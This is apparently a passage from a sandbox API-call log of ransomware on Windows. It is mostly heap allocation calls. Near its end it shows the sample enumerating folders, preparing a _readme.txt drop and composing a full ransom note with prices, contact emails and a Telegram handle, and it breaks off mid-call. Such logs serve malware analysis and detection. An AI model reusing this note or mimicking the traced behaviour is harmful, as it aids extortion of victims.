dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.662] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.662] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.663] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.663] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.664] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.664] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.665] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.665] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.665] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.665] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.665] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.665] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.665] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.665] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.665] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.665] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.665] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.665] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.665] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.665] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.665] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.665] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.665] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.665] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.665] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.665] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.665] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.665] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.665] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.665] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.665] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.665] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.665] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.665] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.665] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.665] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.665] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.665] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.666] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.666] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.666] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.666] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.666] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.666] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.666] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.666] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.666] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.666] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.666] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.666] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.666] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.666] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.666] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.666] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.666] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.666] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.666] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.666] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.666] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.666] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.666] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.666] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.666] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.666] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.666] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.666] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.666] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.666] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.666] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.666] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.666] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.667] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.667] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.667] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.667] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.667] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.667] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.667] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.667] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.667] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.667] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.667] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.667] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.667] PathFindFileNameW (pszPath="C:\\Boot\\pt-BR\\") returned="pt-BR\\" [0119.667] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.667] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.667] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.667] PathFindFileNameW (pszPath="") returned="" [0119.667] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.667] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.667] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.668] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x800) returned 0x3092b80 [0119.668] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.668] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x307f550 [0119.668] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.668] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.668] PathAppendW (in: pszPath="C:\\Boot\\pt-BR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0119.668] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.668] PathFileExistsW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 0 [0119.669] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7d00) returned 0x3095780 [0119.669] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.669] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.669] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3080660 [0119.669] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\_readme.txt" (normalized: "c:\\boot\\pt-br\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.669] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.669] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.669] FindNextFileW (in: hFindFile=0x3008f60, 